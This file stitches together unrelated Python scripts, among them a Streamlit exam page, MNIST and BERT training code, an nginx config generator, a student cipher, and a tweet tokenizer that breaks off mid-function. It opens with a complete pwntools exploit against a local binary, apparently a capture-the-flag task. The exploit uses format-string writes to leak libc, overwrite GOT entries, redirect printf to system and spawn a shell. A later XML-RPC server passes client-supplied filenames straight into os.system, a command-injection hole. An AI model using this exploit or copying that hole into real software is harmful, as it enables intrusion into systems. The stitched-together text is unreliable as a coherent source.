#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math
context(arch = "i386",os = "linux", log_level = "debug")

p = process('./pwne')
elf = ELF('./pwne')

p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.recvuntil("GET YOUR NAME:\n\n")
p.sendline("%p\n\x00")
p.recvuntil("WELCOME \n")
buf_shift = int(p.recvuntil("\n"), 16)
ret_addr = buf_shift + 0x50
p.sendline("10")

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
printf_got = elf.got['printf']
main_sym = 0x80485CD

p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.recvuntil("GET YOUR NAME:\n\n")
payload = fmtstr_payload(7,
    {
        ret_addr: puts_plt
    }
)
p.sendline(payload)
p.recvuntil("WELCOME \n")
p.sendline("10")

p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.recvuntil("GET YOUR NAME:\n\n")
payload = fmtstr_payload(7,
    {
        ret_addr + 4: main_sym
    }
)
p.sendline(payload)
p.recvuntil("WELCOME \n")
p.sendline("10")

p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.recvuntil("GET YOUR NAME:\n\n")
payload = fmtstr_payload(7,
    {
        ret_addr + 8: puts_got
    }
)
p.sendline(payload)
p.recvuntil("WELCOME \n")
p.sendline("10")

p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("NY")
puts_libc = u32(p.recv(4))
print(hex(puts_libc))

libc = LibcSearcher('puts', puts_libc)
libc_base = puts_libc - libc.dump('puts')
print("base libc: %s" % hex(libc_base))
system_libc = libc_base + libc.dump('system')
print("system libc: %s" % hex(system_libc))

p.recvuntil("GET YOUR NAME:\n\n")
payload = fmtstr_payload(7, {printf_got: system_libc})
p.sendline(payload)
p.sendline("10")
p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.sendline("/bin/sh")
p.interactive()


import streamlit as st
from streamlit_card import card
from streamlit_extras.switch_page_button import switch_page
import pandas as pd
import mysql.connector
conn1 = mysql.connector.connect(host="localhost", user="root", password="<PASSWORD>",database='streamlit')
CSR1=conn1.cursor()

User1 = st.session_state["username"]

st.set_page_config(
    page_title="EXAMS",
    initial_sidebar_state="collapsed",
)

st.header("Hello : ",User1)
st.header("exams to be cleared")

student_card1 = card(
    title="JEE",
    text="Click to view JEE details",
    image="https://via.placeholder.com/150",
    on_click=lambda: print("Clicked!")
)

student_card2 = card(
    title="KCET",
    text="Click to view KECET details",
    image="https://via.placeholder.com/150",
    on_click=lambda: print("Clicked!")
    )

student_card3 = card(
        title="NEET",
        text="Click to view NEET details",
        image="https://via.placeholder.com/150",
        on_click=lambda: print("Clicked!")
)


from __future__ import print_function
import argparse
import torch
import torch.optim as optim
from torchvision import datasets, transforms
from namedtensor import ntorch

class Net(ntorch.nn.Module):
    def __init__(self):
        super(Net, self).__init__()
        self.conv1 = ntorch.nn.Conv2d(1, 20, 5, 1)
        self.conv2 = ntorch.nn.Conv2d(20, 50, 5, 1)
        self.fc1 = ntorch.nn.Linear(4 * 4 * 50, 500)
        self.fc2 = ntorch.nn.Linear(500, 10).rename(classes="fc")
        self.pool = ntorch.nn.MaxPool2d(2, 2)

    def forward(self, x):
        x = x.transpose("c", "h", "w")
        x = self.pool(self.conv1(x).relu())
        x = self.pool(self.conv2(x).relu())
        x = self.fc1(x.stack(fc=("c", "h", "w"))).relu()
        return self.fc2(x).log_softmax("classes")

def train(args, model, device, train_loader, optimizer, epoch):
    model.train()
    lmod = ntorch.nn.NLLLoss(reduction="none")
    for batch_idx, (data, target) in enumerate(train_loader):
        data, target = data.to(device), target.to(device)
        data = ntorch.tensor(data, ("b", "c", "h", "w"))
        target = ntorch.tensor(target, ("b",))
        optimizer.zero_grad()
        output = model(data)
        loss = lmod(output, target).mean("b")
        loss.backward()
        optimizer.step()
        if batch_idx % args.log_interval == 0:
            print(
                "Train Epoch: {} [{}/{} ({:.0f}%)]\tLoss: {:.6f}".format(
                    epoch,
                    batch_idx * len(data),
                    len(train_loader.dataset),
                    100.0 * batch_idx / len(train_loader),
                    loss.item(),
                )
            )

def test(args, model, device, test_loader):
    model.eval()
    test_loss = 0
    correct = 0
    lmod = ntorch.nn.NLLLoss(reduction="none")
    with torch.no_grad():
        for data, target in test_loader:
            data, target = data.to(device), target.to(device)
            data = ntorch.tensor(data, ("b", "c", "h", "w"))
            target = ntorch.tensor(target, ("b",))
            output = model(data)
            test_loss = lmod(output, target).sum("b").item()
            pred = output.max("classes")[1]
            correct += (pred == target).sum("b").item()

    test_loss /= len(test_loader.dataset)

    print(
        "\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\n".format(
            test_loss,
            correct,
            len(test_loader.dataset),
            100.0 * correct / len(test_loader.dataset),
        )
    )

def main():
    # Training settings
    parser = argparse.ArgumentParser(description="PyTorch MNIST Example")
    parser.add_argument(
        "--batch-size",
        type=int,
        default=64,
        metavar="N",
        help="input batch size for training (default: 64)",
    )
    parser.add_argument(
        "--test-batch-size",
        type=int,
        default=1000,
        metavar="N",
        help="input batch size for testing (default: 1000)",
    )
    parser.add_argument(
        "--epochs",
        type=int,
        default=10,
        metavar="N",
        help="number of epochs to train (default: 10)",
    )
    parser.add_argument(
        "--lr",
        type=float,
        default=0.01,
        metavar="LR",
        help="learning rate (default: 0.01)",
    )
    parser.add_argument(
        "--momentum",
        type=float,
        default=0.5,
        metavar="M",
        help="SGD momentum (default: 0.5)",
    )
    parser.add_argument(
        "--no-cuda",
        action="store_true",
        default=False,
        help="disables CUDA training",
    )
    parser.add_argument(
        "--seed",
        type=int,
        default=1,
        metavar="S",
        help="random seed (default: 1)",
    )
    parser.add_argument(
        "--log-interval",
        type=int,
        default=10,
        metavar="N",
        help="how many batches to wait before logging training status",
    )

    parser.add_argument(
        "--save-model",
        action="store_true",
        default=False,
        help="For Saving the current Model",
    )
    args = parser.parse_args()
    use_cuda = not args.no_cuda and torch.cuda.is_available()

    torch.manual_seed(args.seed)

    device = torch.device("cuda" if use_cuda else "cpu")

    kwargs = {"num_workers": 1, "pin_memory": True} if use_cuda else {}
    train_loader = torch.utils.data.DataLoader(
        datasets.MNIST(
            "../data",
            train=True,
            download=True,
            transform=transforms.Compose(
                [
                    transforms.ToTensor(),
                    transforms.Normalize((0.1307,), (0.3081,)),
                ]
            ),
        ),
        batch_size=args.batch_size,
        shuffle=True,
        **kwargs
    )
    test_loader = torch.utils.data.DataLoader(
        datasets.MNIST(
            "../data",
            train=False,
            transform=transforms.Compose(
                [
                    transforms.ToTensor(),
                    transforms.Normalize((0.1307,), (0.3081,)),
                ]
            ),
        ),
        batch_size=args.test_batch_size,
        shuffle=True,
        **kwargs
    )

    model = Net().to(device)
    optimizer = optim.SGD(
        model.parameters(), lr=args.lr, momentum=args.momentum
    )

    for epoch in range(1, args.epochs + 1):
        train(args, model, device, train_loader, optimizer, epoch)
        test(args, model, device, test_loader)

    if args.save_model:
        torch.save(model.state_dict(), "mnist_cnn.pt")

if __name__ == "__main__":
    main()


from app.configurator.conf.base import BaseConf

import re

class APIConf(BaseConf):
    def __init__(self, name: str, api_information: dict):
        super().__init__(name)
        self.location = api_information['location']
        self.service_name = api_information['service_name']
        self.whitelist = api_information['whitelist']
        self.quota = api_information['quota']
        self.apis = api_information['apis']

    def generate(self):
        block = f'location {self.location} {{\n'
        block += self._get_ip_block()
        block += '\tauth_request /_validate_apikey;\n\n'

        block += self._get_apis_block()
        block += '\treturn 404;\n'
        block += '}\n\n'
        block += '# vim: syntax=nginx\n\n'

        return {'name': self.name, 'content': block}

    def _get_ip_block(self) -> str:
        block = ''
        for ip in self.whitelist:
            block += f'\tallow {ip};\n'
        block += '\tdeny all;\n\n'

        return block

    def _get_apis_block(self) -> str:
        block = ''

        for api_uri in self.apis.keys():
            methods = list(self.apis[api_uri].keys())
            block += self._get_api_block(api_uri, methods)

        return block

    def _get_api_block(self, api_uri: str, methods: list) -> str:
        pattern = r'\{([^/]+)\}'
        matches = re.findall(pattern, api_uri)

        if len(matches) == 0:
            block = f'\tlocation = {self.location[:-1]}{api_uri} {{\n'
        else:
            new_uri = re.sub(pattern, r'[^/]+', api_uri)
            block = f'\tlocation ~ ^{self.location[:-1]}{new_uri}$ {{\n'

        for num in [401, 403, 405, 429]:
            block += f'\t\terror_page {num} = @{num};\n'
        block += '\n'

        block += f'\t\tlimit_req zone=apikey_{self.quota}rs burst={self.quota} nodelay;\n'
        block += '\t\tlimit_req_status 429;\n\n'

        methods_str = '|'.join(methods)
        block += f'\t\tif ($request_method !~ ^({methods_str.upper()})$) {{\n'
        block += '\t\t\treturn 405;\n'
        block += '\t\t}\n\n'

        block += f'\t\tproxy_pass https://{self.service_name}{api_uri};\n'
        block += '\t\tproxy_set_header Host $host;\n'
        block += '\t\tproxy_set_header X-Real-IP $remote_addr;\n'
        block += '\t\tproxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n'
        block += '\t\tproxy_set_header X-Forwarded-Proto $scheme;\n'
        block += '\t}\n'
        return block


#  File: BST_Cipher.py

#  Description: This program encrypts and decrypts strings using a binary search tree.

#  Student Name: Mohamad Minoneshan

#  Partner Name: Mercedes Milke

#  Course Name: CS 313E

#  Unique Number: 52535

#  Date Created: 11/10/2022

#  Date Last Modified: 11/10/2022

import sys

class Node(object):
    def __init__(self, data = None, lchild = None, rchild = None):
        self.data = data
        self.lchild = lchild
        self.rchild = rchild

class Tree(object):
    # the init() function creates the binary search tree with the
    # encryption string. If the encryption string contains any
    # character other than the characters 'a' through 'z' or the
    # space character drop that character.
    def __init__(self, encrypt_str):

        # construct the root
        self.root = None

        # traverse through the string and add each character to the binary tree
        for ch in encrypt_str:
            ascii_val = ord(ch.lower())
            if ((ascii_val >= 97 and ascii_val <= 122)):
                self.insert(ch)
            elif (ascii_val == 32):
                self.insert(ch)
            else:
                continue

    # the insert() function adds a node containing a character in
    # the binary search tree. If the character already exists, it
    # does not add that character. There are no duplicate characters
    # in the binary search tree.
    def insert(self, ch):

        # create a new node
        new_node = Node(ch)

        # initialize the search
        current = self.root
        parent = self.root

        # if the tree is empty, make the new node the root
        if (self.root == None):
            self.root = new_node

        # traverse through the tree to reach its leaves with the
        # traversal direction being determined by the node value
        else:
            while (current != None):
                parent = current

                # if a node with the character is already in the tree,
                # no need to insert it again
                if (ch == current.data):
                    break

                # go left
                elif (ch < current.data):
                    current = current.lchild

                # go right
                elif (ch > current.data):
                    current = current.rchild

            # insert the new node as a left child of one of the leaves
            if (ch < parent.data):
                parent.lchild = new_node

            # insert the new node as a right child of one of the leaves
            elif (ch > parent.data):
                parent.rchild = new_node

    # the search() function will search for a character in the binary
    # search tree and return a string containing a series of lefts
    # (<) and rights (>) needed to reach that character. It will
    # return a blank string if the character does not exist in the tree.
    # It will return * if the character is the root of the tree.
    def search(self, ch):

        # create an empty string to record the search sequence
        search_string = ''

        # handle case where character is the root of the tree
        if (ch == self.root.data):
            return '*'

        # traverse through the binary tree to find the character,
        # adding to the search string along the way
        current_node = self.root
        while (current_node != None) and (current_node.data != ch):

            if (ch < current_node.data):
                search_string += '<'
                current_node = current_node.lchild
            elif (ch > current_node.data):
                search_string += '>'
                current_node = current_node.rchild

        return search_string

    # the traverse() function will take string composed of a series of
    # lefts (<) and rights (>) and return the corresponding
    # character in the binary search tree. It will return an empty string
    # if the input parameter does not lead to a valid character in the tree.
    def traverse(self, st):

        # start the traversal at the root of the tree
        current_node = self.root

        # iterate through the string directions to find the character
        for ch in st:
            # handle case where the character is not in the tree
            if (current_node == None):
                return ''
            else:
                # go left
                if ch == '<':
                    current_node = current_node.lchild
                # go right
                if ch == '>':
                    current_node = current_node.rchild

        # return the found character
        return current_node.data

    # the encrypt() function will take a string as input parameter, convert
    # it to lower case, and return the encrypted string. It will ignore
    # all digits, punctuation marks, and special characters.
    def encrypt(self, st):

        # convert the string to lowercase
        st.lower()

        # create an empty encrypted string
        encrypted_string = ''

        # traverse through the string, adding each alphabet character to the
        # encrypted string by using its search string
        for char in st:
            if ((ord(char) == 32) or (ord(char) >= 97 and ord(char) <= 122)):
                encrypted_string += self.search(char)
                encrypted_string += '!'

        # return the encrypted string
        return encrypted_string[:-1]

    # the decrypt() function will take a string as input parameter, and
    # return the decrypted string.
    def decrypt(self, st):

        # create an empty decrypted string
        decrypted_string = ''

        # split the string with the given delimiter to get the directions
        # in the binary tree for each character
        directions = st.split('!')

        # add each character to the decrypted string by using its
        # direction string
        for direction in directions:
            decrypted_string += self.traverse(direction)

        # return the decrypted string
        return decrypted_string

def main():

    # read encrypt string
    line = sys.stdin.readline()
    encrypt_str = line.strip()

    # create a Tree object
    the_tree = Tree(encrypt_str)

    # read string to be encrypted
    line = sys.stdin.readline()
    str_to_encode = line.strip()

    # print the encryption
    print (the_tree.encrypt(str_to_encode))

    # read the string to be decrypted
    line = sys.stdin.readline()
    str_to_decode = line.strip()

    # print the decryption
    print (the_tree.decrypt(str_to_decode))

if __name__ == "__main__":
    main()


import json
from multiprocessing import Process
from multiprocessing.pool import ThreadPool
from pathlib import Path

import urllib3

from models.downloader import Downloader

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_metadata(metadata):
    for course in metadata:
        if len(course.get("lectures")) == 0:
            metadata.remove(course)
    Path('metadata.json').write_text(json.dumps(metadata, indent=4))
    print("Cleaning metadata on './metadata.json'")

def main():

    metadata = []
    loader = Downloader()

    if Path('metadata.json').exists():
        metadata = json.loads(Path('metadata.json').read_text())
        if len(metadata) > 0:
            for course in metadata:
                if len(course.get('lectures')) > 0:
                    print(f'#{course.get("course_id")} - {course.get("course_title")} is already loading, skipping...')
                    continue
                else:
                    check_metadata(metadata)
                    metadata = json.loads(Path('metadata.json').read_text())
                    loader.download_metadata()
    else:
        loader.download_metadata()

    for course in metadata:
        p = Process(target=loader.download_course, args=(course,))
        p.start()
        p.join()

if __name__ == "__main__":
    main()


import random
from argparse import ArgumentParser
from copy import deepcopy
from os.path import join

import numpy as np
import torch
from sklearn.metrics import accuracy_score, precision_recall_fscore_support
from transformers import EvalPrediction, BertModel, BertConfig, BertTokenizerFast
from transformers.trainer_utils import set_seed

from configs import ModelConfig, mnist_config
from models import Classifier
from models.linear_bert import LinBertSelfAttention
from models.orig_bert import PosBiasBertSelfAttention

def set_seed_(seed: int):
    random.seed(seed)
    np.random.seed(seed)
    set_seed(seed)

def compute_metrics(pred: EvalPrediction):
    labels = pred.label_ids
    preds = pred.predictions.argmax(-1)
    precision, recall, f1, _ = precision_recall_fscore_support(labels, preds, average='macro')
    accuracy = accuracy_score(labels, preds)
    return {
        "f1": f1,
        "recall": recall,
        "accuracy": accuracy,
        "precision": precision,
    }

def parse_model_config(arg_parser: ArgumentParser) -> ModelConfig:
    arg_parser.add_argument("--is_linear", action='store_true')
    arg_parser.add_argument("--feature_map", choices=["elu", "exp", "dpfp", "favor"], default="elu")
    arg_parser.add_argument("--pos_bias_type", choices=["fft", "naive", "fft_2d", "naive_2d"], default=None)
    arg_parser.add_argument("--bias_base_type", choices=["full", "symmetric"], default=None)
    args = arg_parser.parse_args()

    return ModelConfig(
        is_linear=args.is_linear,
        feature_map=args.feature_map,
        pos_bias_type=args.pos_bias_type,
        bias_base_type=args.bias_base_type
    )

def _copy_weights(input_, target):
    input_.weight.data = target.weight.data
    input_.bias.data = target.bias.data

def _copy_self_attn(self_attn, target_self_attn):
    _copy_weights(
        input_=self_attn.query,
        target=target_self_attn.query
    )
    _copy_weights(
        input_=self_attn.value,
        target=target_self_attn.value
    )
    _copy_weights(
        input_=self_attn.key,
        target=target_self_attn.key
    )

def make_attn_linear(model: BertModel, config: BertConfig):
    tmp_model = deepcopy(model)

    for i, _ in enumerate(tmp_model.bert.encoder.layer):
        model.bert.encoder.layer[i].attention.self = LinBertSelfAttention(config)

        _copy_self_attn(
            self_attn=model.bert.encoder.layer[i].attention.self,
            target_self_attn=tmp_model.bert.encoder.layer[i].attention.self
        )
    return model

def add_pos_bias(model: BertModel, config: BertConfig):
    tmp_model = deepcopy(model)

    for i, _ in enumerate(tmp_model.bert.encoder.layer):
        model.bert.encoder.layer[i].attention.self = PosBiasBertSelfAttention(config)

        _copy_self_attn(
            self_attn=model.bert.encoder.layer[i].attention.self,
            target_self_attn=tmp_model.bert.encoder.layer[i].attention.self
        )
    return model

def freeze_weights(model: BertModel):
    for param in model.parameters():
        param.requires_grad = False
    for i, _ in enumerate(model.bert.encoder.layer):
        for param in model.bert.encoder.layer[i].attention.parameters():
            param.requires_grad = True
    return model

def construct_model(
    is_linear: bool = False,
    feature_map: str = "elu",
    pos_bias_type: str = None,
    shape: int = None
):
    if pos_bias_type is not None:
        model_config = ModelConfig(
            is_linear=is_linear,
            feature_map=feature_map,
            pos_bias_type=pos_bias_type,
            bias_base_type="full"
        )
    else:
        model_config = ModelConfig(
            is_linear=is_linear,
            feature_map=feature_map,
        )
    data_path = "data"
    dataset_name = "mnist"
    seed = 9
    set_seed_(seed)

    output_path = join(data_path, dataset_name)
    vocab_path = join(data_path, dataset_name)
    tokenizer = BertTokenizerFast.from_pretrained(vocab_path)
    vocab_size = tokenizer.vocab_size
    config, args = mnist_config(
        dataset_name=dataset_name,
        output_path=output_path,
        seed=seed,
        is_test=False,
        x_shape=shape,
        y_shape=shape,
        n_channels=1,
        vocab_size=vocab_size,
        model_config=model_config
    )

    config.hidden_size = 256
    config.num_layers = 6
    model = Classifier(config=config)
    inputs = torch.LongTensor(6, config.max_position_embeddings).random_(0, vocab_size)
    return model, inputs


from typing import List
import random
import numpy as np
from deap import base, creator, tools, algorithms, cma
import os, sys

p = os.path.abspath('.')
sys.path.insert(1, p)

from controllers.deap_controller import player_controller_demo
from assignment2.environment import New_Environment as Environment

def create_environment(name: str, enemies: List[int]):
    environment = Environment(
        experiment_name=name,
        multiplemode="yes",  # yes or no
        enemies=enemies,  # array with 1 to 8 items, values from 1 to 8
        level=2,  # integer
        playermode="ai",  # ai or human
        player_controller=player_controller_demo(10),
        enemymode="static",  # ai or static
        speed="fastest",  # normal or fastest
        randomini="yes",  # yes or no
    )
    return environment

def evaluate(individual, env):
    f,p,e,t = env.play(pcont=individual)
    # print('Overall results:', f,p,e,t)
    return (f,)

# --- from DEAP documentation: https://deap.readthedocs.io/en/master/examples/es_fctmin.html
def generateES(icls, size, imin, imax):
    ind = icls(random.uniform(imin, imax) for _ in range(size))
    return ind

def best_individual(population):
    fitnesses = [ind.fitness.values for ind in population]
    return population[np.argmax(fitnesses)]

def run_deap(env, **config):
    n_pop = config.get('n_pop', 150)
    n_gens_ga = config.get('n_gens_ga', 30)
    n_gens_cma = config.get('n_gens_cma', 15)
    mutpb = config.get('mutpb', 0.25)
    indpb = config.get('indpb', 0.25)
    tournsize = config.get('tournsize', 2)
    cxpb = config.get('cxpb', 0.5)
    optimize = config.get('optimize', False)
    """
        n_pop: The population size
        n_gens_ga: The number of generations for ga
        n_gens_cma: The number of generations for cma
        mutpb: The probability of mutating an individual.
        indpb: Independent probability for each attribute to be mutated.
        tournsize: Number of individuals participating in a tournament
        cxpb: The probability of mating two individuals.
        mu: The mean for Gaussian operations
        sigma: The standard deviation for Gaussian operations.
        optimize: A boolean value for running the optimize algorithm
    """

    print('Setting up DEAP!\n')

    ind_size = 265 #number of nodes in network (250 weights (20*10*5) + 15 bias (10+5))

    # Creation of required types
    creator.create("FitnessMax", base.Fitness, weights=(1.0,))
    creator.create("Individual", np.ndarray, fitness=creator.FitnessMax)

    toolbox = base.Toolbox()

    # --- partially from DEAP documentation: https://deap.readthedocs.io/en/master/examples/es_fctmin.html
    MIN_VALUE = -5
    MAX_VALUE = 5

    toolbox.register("attr_float", random.random)
    toolbox.register("individual", generateES, creator.Individual, ind_size, MIN_VALUE, MAX_VALUE)

    toolbox.register("population", tools.initRepeat, list, toolbox.individual)
    toolbox.register('mate', tools.cxOnePoint)
    toolbox.register("mutate", tools.mutGaussian, mu=0, sigma=0.15, indpb=indpb)
    toolbox.register("select", tools.selTournament, tournsize=tournsize)
    toolbox.register("evaluate", evaluate, env=env)

    # --- Tools for saving the statistics
    stats = tools.Statistics(lambda ind: ind.fitness.values)
    stats.register("Mean", np.mean)
    stats.register("Max", np.max)
    stats.register("Min", np.min)

    pop = toolbox.population(n=n_pop)
    hof = tools.HallOfFame(1, similar=np.array_equal)

    print('Setup is complete, now starting GA!\n')

    pop_ga, log_ga = algorithms.eaSimple(pop, toolbox, cxpb=cxpb, mutpb=mutpb, ngen=n_gens_ga, halloffame=hof, stats=stats)

    print('GA is done, CMA-ES next!')

    stats_per_gen = []

    for gen in log_ga:
        stats_per_gen.append([gen['Mean'], gen['Max']])

    if n_gens_cma > 0:
        # implementation of CMA-ES
        centroid = best_individual(pop_ga)
        strategy= cma.Strategy(centroid, sigma=0.05)
        toolbox.register("generate", strategy.generate, creator.Individual)
        toolbox.register("update", strategy.update)
        pop_cma, log_cma = algorithms.eaGenerateUpdate(toolbox=toolbox, ngen=n_gens_cma, stats=stats, halloffame=hof)

        for gen in log_cma:
            stats_per_gen.append([gen['Mean'], gen['Max']])

    if optimize:
        return hof[0].fitness.values[0]

    return stats_per_gen, hof[0]

def main(**config):
    experiment_name = config.get('name', 'test')
    enemies = config.get('enemies', [1,4])
    env = create_environment(experiment_name, enemies)
    return run_deap(env, **config)

if __name__ == '__main__':
    # choose this for not using visuals and thus making experiments faster
    headless = True
    if headless:
        os.environ["SDL_VIDEODRIVER"] = "dummy"
    config = dict()
    main(**config)


"""
demo04_load.py  模型读取
"""
import numpy as np
import sklearn.linear_model as lm
import matplotlib.pyplot as mp
import sklearn.metrics as sm
import pickle

x ,y = np.loadtxt('../ml_data/single.txt',
	delimiter=',', usecols=(0,1),
	unpack=True)
# 把x改为n行1列  这样才可以作为输入交给模型训练
x = x.reshape(-1, 1)
# 从文件中加载模型对象
with open('../ml_data/linear.pkl', 'rb') as f:
	model = pickle.load(f)
	print('load success.')

pred_y = model.predict(x)

# 评估回归模型的误差
# 平均绝对值误差  1/m∑|预测输出-真实输出|
print(sm.mean_absolute_error(y, pred_y))
# 平均平方误差  sqrt(1/m∑(预测输出-真实输出)^2)
print(sm.mean_squared_error(y, pred_y))
# 中位数绝对值误差  median(|预测输出-真实输出|)
print(sm.median_absolute_error(y, pred_y))
# r2得分 (0,1]的一个分值,分数越高,误差越小
print(sm.r2_score(y, pred_y))

mp.figure('Linear Regression', facecolor='lightgray')
mp.title('Linear Regression', fontsize=18)
mp.xlabel('X', fontsize=16)
mp.ylabel('Y', fontsize=16)
mp.tick_params(labelsize=12)
mp.grid(linestyle=':')
mp.scatter(x, y, s=60, c='dodgerblue',
	label='Points')
mp.plot(x, pred_y, c='orangered', linewidth=2,
	label='Regression Line')
mp.legend()
mp.show()


from SimpleXMLRPCServer import SimpleXMLRPCServer
from SimpleXMLRPCServer import SimpleXMLRPCRequestHandler

from parser import get_paras

import seq2seq_attention_decode_server
import os
import nltk
import re
import codecs

# Special tokens
PARAGRAPH_START = '<p>'
PARAGRAPH_END = '</p>'
SENTENCE_START = '<s>'
SENTENCE_END = '</s>'
DOCUMENT_START = '<d>'
DOCUMENT_END = '</d>'

UNKNOWN_TOKEN = '<UNK>'

# Restrict to a particular path.
class RequestHandler(SimpleXMLRPCRequestHandler):
    rpc_paths = ('/RPC2',)

def sentence_tokenizer():
	# Train a Punkt tokenizer if required
	return nltk.data.load('tokenizers/punkt/english.pickle')

def word_tokenizer():
	return nltk.tokenize.treebank.TreebankWordTokenizer()

def remove_digits(parse):
	return re.sub(r'\d', '#', parse)

sentence_segmenter = sentence_tokenizer()
word_tok = word_tokenizer()

def get_doc_from_tokens(tokens):
    docuemnt = [DOCUMENT_START] + tokens + [DOCUMENT_END]
    return " ".join(docuemnt)

def process_sentence(sentence):
	## Add more processing if required
    tokens = [SENTENCE_START]
    tokens.extend(word_tok.tokenize(sentence))
    tokens.append(SENTENCE_END)
    return tokens

def para_to_tokens(paragraph):
	return [token for sent in sentence_segmenter.tokenize(paragraph.strip())
        for token in process_sentence(sent)]

def getDocumentFromJson(document_json):
    docuemnt = [DOCUMENT_START]
    for key in document_json:
        section = document_json[key]
        section_name = key
        tokens = para_to_tokens(section)
        docuemnt.extend(tokens)
    docuemnt.append(DOCUMENT_END)
    return " ".join(docuemnt)

def pre_example_process(text):
    #print(text)
    text = text.replace("< ref >", "||REF||")
    return remove_digits(text).lower()

def article_to_tokens(article):
    return [token for sent in article.split('\n')
        for token in process_sentence(sent)]

class DecodeServer(object):

	def __init__(self, decoder_for_server, port):
		# Create server
		self.server = SimpleXMLRPCServer(("0.0.0.0", port),
		                            requestHandler=RequestHandler)
		self.server.register_introspection_functions()

		self.decoder = decoder_for_server

		self.server.register_function(self.summarize)

		self.server.register_function(self.update_session)

		self.server.register_function(self.summarize_with_string)

		print("Server running at port "+str(port))

		self.server.serve_forever()

	def update_session(self):
		self.decoder.update_session()
		return "done"

	def summarize_with_string(self, latex):
		inp_file = codecs.open("/home/bt1/13CS10060/snlp16/Test_Data/Input/temp.tex", "w", "utf-8")
		inp_file.write(latex)
		inp_file.close()

		return self.summarize("temp.tex")

	def summarize(self, filename):

		summary = ""
		## Preprocess article to generate input for the model

		# Parse Latex File - Convert to Text
		os.system('python2 ../../../Codes/pylatexenc/parse_latex_file.py '+filename)

		# Parse Text File - Convert to Dict (Section: Text)
		os.system('python2 ../../../Codes/pylatexenc/parse_text_file.py '+filename)

		# Parse Dict - Dict to File

		print("Here1")
		(para_list, actual_abstract) = get_paras(filename)

		print("JHere2")

		print(len(para_list), actual_abstract)
		print(para_list[0])

		article_list = []
		for para in para_list:
			article = pre_example_process(getDocumentFromJson({"abstract" :para}))
			if(len(article.split(" ")) < 4):
				continue
			article_list.append(article)

		print("Here3")

		if(len(article_list) < 1):
			return (actual_abstract, " ")

		#print(article)

		summary_list = []
		for article in article_list[0:1]:
			summary = self.decoder.DecodeOne(article)
			summary_list.append(summary)

		summary = " ".join(summary_list)

		print("ehre4")

		return (actual_abstract,summary)

## Test Case

# source = codecs.open("my.tex", "r","utf-8")
# print( summarize_with_string(source.read()))
# source.close()
#summarize('comm_magazine_FDMIMO_overview.tex')


import re, emoji

class Twikenizer():

    def __init__(self):

        '''
        Symbols regex
          - Punctuation marks: ,.;:?!
          - Parenthesis: ()[]{}
          - Quotes: "'
          - Others: -

        Emojies regex
          - All unicode emojies

        Special characters regex
          - %$&€#~º+^<>|\£§¬/
        '''

        # Initializing regular expressions
        self.symbols_regex = r'["\'.!?,;:\()\[\]\{\}_-]'
        self.emojies_regex = emoji.get_emoji_regexp()
        self.special_chars_regex = r'^[%$&€#@~º+\^<>|\\£§¬\/]+$'

        self.other_inv_chars_regex = r'[%$&€#@~º+\^<>|\\£§¬\/]'
        self.invalid_hashtags_mentions_chars = r'["\'.!?,;:\()\[\]\{\}%$&€#@~º+\^<>|\\£§¬\/-]'

    def tokenize(self, tweet):

        '''
        Transforms a lists of raw tokens (whitespace separated) into a
        list of processed tokens using predefined metrics
        '''

        # Splitting first by whitespace
        raw_tokens = tweet.split()

        # Initializing list of final tokens
        tokens = []

        for raw_token in raw_tokens:

            # Initializing auxiliar variables
            subtokens, substring = [], ''

            '''
            First, we handle hashtags and mentions
            '''

            # Getting first character of the raw token
            first_char = raw_token[0]
            len_raw_token = len(raw_token)

            # Looking for valid hashtags
            if first_char == '#' and len_raw_token > 1:
                # Parsing raw token
                subtokens, valid_hashtag = self.parse_hashtags_mentions(raw_token)
                # Hashtag is fully valid - no more parsing needed
                if valid_hashtag == 1:
                    tokens += subtokens
                    continue
                # Left hand side of the hashtag is valid - right hands side needs parsing
                elif valid_hashtag == 0:
                    tokens.append(subtokens[0])
                    raw_token = subtokens[1]

            # Looking for valid mentions
            elif first_char == '@' and len_raw_token > 1:
                # Parsing raw token
                subtokens, valid_mention = self.parse_hashtags_mentions(raw_token, False)
                # Mention is fully valid - no more parsing needed
                if valid_mention == 1:
                    # Hashtag or mention handled correctly, nothing else to parse
                    tokens += subtokens
                    continue
                # Left hand side of the mention is valid - right hands side needs parsing
                elif valid_mention == 0:
                    # Hashtag or mention handled correctly, parse right hand side
                    tokens.append(subtokens[0])
                    raw_token = subtokens[1]

            '''
            - Valid hashtags and mentions have been handled.
            - Invalid hashtags and mentions and respective invalid right hand sides are parsed as any other raw token
                e.g. #hashtag       - Fully parsed at this point
                     #hashtag.lol   - Left hand side parsed (#hashtag), right hand side is parsed as any other token (.lol)
                     #$hashtag      - Invalid hashtag, parsed as a whole raw token (#$hashtag)

            - Now parsing the rest of the raw tokens
            '''

            # Initializing lists characters found per raw token
            symbols = re.findall(self.symbols_regex, raw_token)
            specials = re.findall(self.other_inv_chars_regex, raw_token)
            emojies = re.findall(self.emojies_regex, raw_token)
            special_chars = re.findall(self.special_chars_regex, raw_token)

            if (symbols and specials) or (symbols and specials and emojies) or (emojies and specials) or (emojies and symbols):
                subtokens = self.parser(raw_token, r'[a-zA-Z0-9]', True)
            # Parsing strings containing only symbols and alphanumerics
            elif symbols:
                subtokens = self.parser(raw_token, self.symbols_regex)
            # Parsing strings containing only emojies and alphanumerics
            elif emojies:
                subtokens = self.parser(raw_token, self.emojies_regex)
            # Parsing strings containing only special characters
            elif special_chars:
                subtokens += raw_token
            # Parsing alphanumeric tokens
            else:
                #print('5subtokens', subtokens)
                subtokens.append(raw_token)
                #print('5subtokens', subtokens)

            # Merging tokens
            tokens += subtokens

        return tokens

    def parser(self, raw_token, regex, general=False):

        '''
        - General parser -
        Parses any raw token that isn't a valid hashtag or mention
        '''

        # Initializing auxiliar variables
        subtokens, substring, position = [], '', 0

        # Processing each character individually
        for char in raw_token:

            # 'General' includes all possible combinations of emojies, special characters
